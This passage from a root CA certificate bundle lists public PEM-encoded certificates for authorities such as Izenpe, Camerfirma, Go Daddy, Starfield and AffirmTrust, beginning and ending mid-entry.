bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ 0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3 rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2 xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7 lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8 EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18 YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r kpeDMdmztcpHWD9f -----END CERTIFICATE----- Autoridad de Certificacion Firmaprofesional CIF A62634068 ========================================================= -----BEGIN CERTIFICATE----- MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UEBhMCRVMxQjBA BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2 MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEyMzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIw QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY 7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1Ud EwEB/wQIMAYBAf8CAQEwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNH DhpkLzCBpgYDVR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBvACAAZABlACAA bABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBlAGwAbwBuAGEAIAAwADgAMAAx ADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx 51tkljYyGOylMnfX40S2wBEqgLk9am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qk R71kMrv2JYSiJ0L1ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaP T481PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS3a/DTg4f Jl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5kSeTy36LssUzAKh3ntLFl osS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF3dvd6qJ2gHN99ZwExEWN57kci57q13XR crHedUTnQn3iV2t93Jm8PYMo6oCTjcVMZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoR saS8I8nkvof/uZS2+F0gStRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTD KCOM/iczQ0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQBjLMi 6Et8Vcad+qMUu2WFbm5PEn4KPJ2V -----END CERTIFICATE----- Izenpe.com ========== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Chambers of Commerce Root - 2008 ================================ -----BEGIN CERTIFICATE----- MIIHTzCCBTegAwIBAgIJAKPaQn6ksa7aMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xKTAnBgNVBAMTIENoYW1iZXJzIG9mIENvbW1lcmNlIFJvb3QgLSAyMDA4MB4XDTA4MDgwMTEy Mjk1MFoXDTM4MDczMTEyMjk1MFowga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNl ZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQF EwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJl cnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC AQCvAMtwNyuAWko6bHiUfaN/Gh/2NdW928sNRHI+JrKQUrpjOyhYb6WzbZSm891kDFX29ufyIiKA XuFixrYp4YFs8r/lfTJqVKAyGVn+H4vXPWCGhSRv4xGzdz4gljUha7MI2XAuZPeEklPWDrCQiorj h40G072QDuKZoRuGDtqaCrsLYVAGUvGef3bsyw/QHg3PmTA9HMRFEFis1tPo1+XqxQEHd9ZR5gN/ ikilTWh1uem8nk4ZcfUyS5xtYBkL+8ydddy/Js2Pk3g5eXNeJQ7KXOt3EgfLZEFHcpOrUMPrCXZk NNI5t3YRCQ12RcSprj1qr7V9ZS+UWBDsXHyvfuK2GNnQm05aSd+pZgvMPMZ4fKecHePOjlO+Bd5g D2vlGts/4+EhySnB8esHnFIbAURRPHsl18TlUlRdJQfKFiC4reRB7noI/plvg6aRArBsNlVq5331 lubKgdaX8ZSD6e2wsWsSaR6s+12pxZjptFtYer49okQ6Y1nUCyXeG0+95QGezdIp1Z8XGQpvvwyQ 0wlf2eOKNcx5Wk0ZN5K3xMGtr/R5JJqyAQuxr1yW84Ay+1w9mPGgP0revq+ULtlVmhduYJ1jbLhj ya6BXBg14JC7vjxPNyK5fuvPnnchpj04gftI2jE9K+OJ9dC1vX7gUMQSibMjmhAxhduub+84Mxh2 EQIDAQABo4IBbDCCAWgwEgYDVR0TAQH/BAgwBgEB/wIBDDAdBgNVHQ4EFgQU+SSsD7K1+HnA+mCI G8TZTQKeFxkwgeMGA1UdIwSB2zCB2IAU+SSsD7K1+HnA+mCIG8TZTQKeFxmhgbSkgbEwga4xCzAJ BgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNlZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNh bWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENh bWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDiC CQCj2kJ+pLGu2jAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUH AgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAJASryI1 wqM58C7e6bXpeHxIvj99RZJe6dqxGfwWPJ+0W2aeaufDuV2I6A+tzyMP3iU6XsxPpcG1Lawk0lgH 3qLPaYRgM+gQDROpI9CF5Y57pp49chNyM/WqfcZjHwj0/gF/JM8rLFQJ3uIrbZLGOU8W6jx+ekbU RWpGqOt1glanq6B8aBMz9p0w8G8nOSQjKpD9kCk18pPfNKXG9/jvjA9iSnyu0/VU+I22mlaHFoI6 M6taIgj3grrqLuBHmrS1RaMFO9ncLkVAO+rcf+g769HsJtg1pDDFOqxXnrN2pSB7+R5KBWIBpih1 YJeSDW4+TTdDDZIVnBgizVGZoCkaPF+KMjNbMMeJL0eYD6MDxvbxrN8y8NmBGuScvfaAFPDRLLmF 9dijscilIeUcE5fuDr3fKanvNFNb0+RqE4QGtjICxFKuItLcsiFCGtpA8CnJ7AoMXOLQusxI0zcK zBIKinmwPQN/aUv0NCB9szTqjktk9T79syNnFQ0EuPAtwQlRPLJsFfClI9eDdOTlLsn+mCdCxqvG nrDQWzilm1DefhiYtUU79nm06PcaewaD+9CL2rvHvRirCG88gGtAPxkZumWK5r7VXNM21+9AUiRg OGcEMeyP84LG3rlV8zsxkVrctQgVrXYlCg17LofiDKYGvCYQbTed7N14jHyAxfDZd0jQ -----END CERTIFICATE----- Global Chambersign Root - 2008 ============================== -----BEGIN CERTIFICATE----- MIIHSTCCBTGgAwIBAgIJAMnN0+nVfSPOMA0GCSqGSIb3DQEBBQUAMIGsMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xJzAlBgNVBAMTHkdsb2JhbCBDaGFtYmVyc2lnbiBSb290IC0gMjAwODAeFw0wODA4MDExMjMx NDBaFw0zODA3MzExMjMxNDBaMIGsMQswCQYDVQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUg Y3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJ QTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAlBgNVBAMTHkdsb2JhbCBD aGFtYmVyc2lnbiBSb290IC0gMjAwODCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDf VtPkOpt2RbQT2//BthmLN0EYlVJH6xedKYiONWwGMi5HYvNJBL99RDaxccy9Wglz1dmFRP+RVyXf XjaOcNFccUMd2drvXNL7G706tcuto8xEpw2uIRU/uXpbknXYpBI4iRmKt4DS4jJvVpyR1ogQC7N0 ZJJ0YPP2zxhPYLIj0Mc7zmFLmY/CDNBAspjcDahOo7kKrmCgrUVSY7pmvWjg+b4aqIG7HkF4ddPB /gBVsIdU6CeQNR1MM62X/JcumIS/LMmjv9GYERTtY/jKmIhYF5ntRQOXfjyGHoiMvvKRhI9lNNgA TH23MRdaKXoKGCQwoze1eqkBfSbW+Q6OWfH9GzO1KTsXO0G2Id3UwD2ln58fQ1DJu7xsepeY7s2M H/ucUa6LcL0nn3HAa6x9kGbo1106DbDVwo3VyJ2dwW3Q0L9R5OP4wzg2rtandeavhENdk5IMagfe Ox2YItaswTXbo6Al/3K1dh3ebeksZixShNBFks4c5eUzHdwHU1SjqoI7mjcv3N2gZOnm3b2u/GSF HTynyQbehP9r6GsaPMWis0L7iwk+XwhSx2LE1AVxv8Rk5Pihg+g+EpuoHtQ2TS9x9o0o9oOpE9Jh wZG7SMA0j0GMS0zbaRL/UJScIINZc+18ofLx/d33SdNDWKBWY8o9PeU1VlnpDsogzCtLkykPAgMB AAGjggFqMIIBZjASBgNVHRMBAf8ECDAGAQH/AgEMMB0GA1UdDgQWBBS5CcqcHtvTbDprru1U8VuT BjUuXjCB4QYDVR0jBIHZMIHWgBS5CcqcHtvTbDprru1U8VuTBjUuXqGBsqSBrzCBrDELMAkGA1UE BhMCRVUxQzBBBgNVBAcTOk1hZHJpZCAoc2VlIGN1cnJlbnQgYWRkcmVzcyBhdCB3d3cuY2FtZXJm aXJtYS5jb20vYWRkcmVzcykxEjAQBgNVBAUTCUE4Mjc0MzI4NzEbMBkGA1UEChMSQUMgQ2FtZXJm aXJtYSBTLkEuMScwJQYDVQQDEx5HbG9iYWwgQ2hhbWJlcnNpZ24gUm9vdCAtIDIwMDiCCQDJzdPp 1X0jzjAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0 dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAICIf3DekijZBZRG /5BXqfEv3xoNa/p8DhxJJHkn2EaqbylZUohwEurdPfWbU1Rv4WCiqAm57OtZfMY18dwY6fFn5a+6 ReAJ3spED8IXDneRRXozX1+WLGiLwUePmJs9wOzL9dWCkoQ10b42OFZyMVtHLaoXpGNR6woBrX/s dZ7LoR/xfxKxueRkf2fWIyr0uDldmOghp+G9PUIadJpwr2hsUF1Jz//7Dl3mLEfXgTpZALVza2Mg 9jFFCDkO9HB+QHBaP9BrQql0PSgvAm11cpUJjUhjxsYjV5KTXjXBjfkK9yydYhz2rXzdpjEetrHH foUm+qRqtdpjMNHvkzeyZi99Bffnt0uYlDXA2TopwZ2yUDMdSqlapskD7+3056huirRXhOukP9Du qqqHW2Pok+JrqNS4cnhrG+055F3Lm6qH1U9OAP7Zap88MQ8oAgF9mOinsKJknnn4SPIVqczmyETr P3iZ8ntxPjzxmKfFGBI/5rsoM0LpRQp8bfKGeS/Fghl9CYl8slR2iK7ewfPM4W7bMdaTrpmg7yVq c5iJWzouE4gev8CSlDQb4ye3ix5vQv/n6TebUB0tovkC7stYWDpxvGjjqsGvHCgfotwjZT+B6q6Z 09gwzxMNTxXJhLynSC34MCN32EZLeW32jO06f2ARePTpm67VVMB0gNELQp/B -----END CERTIFICATE----- Go Daddy Root Certificate Authority - G2 ======================================== -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5 MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq 9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD +qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9 BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r 5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1 -----END CERTIFICATE----- Starfield Root Certificate Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0 eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx 4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- Starfield Services Root Certificate Authority - G2 ================================================== -----BEGIN CERTIFICATE----- MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2 h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6 -----END CERTIFICATE----- AffirmTrust Commercial ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6 BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv 0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8= -----END CERTIFICATE----- AffirmTrust Networking ====================== -----BEGIN CERTIFICATE----- 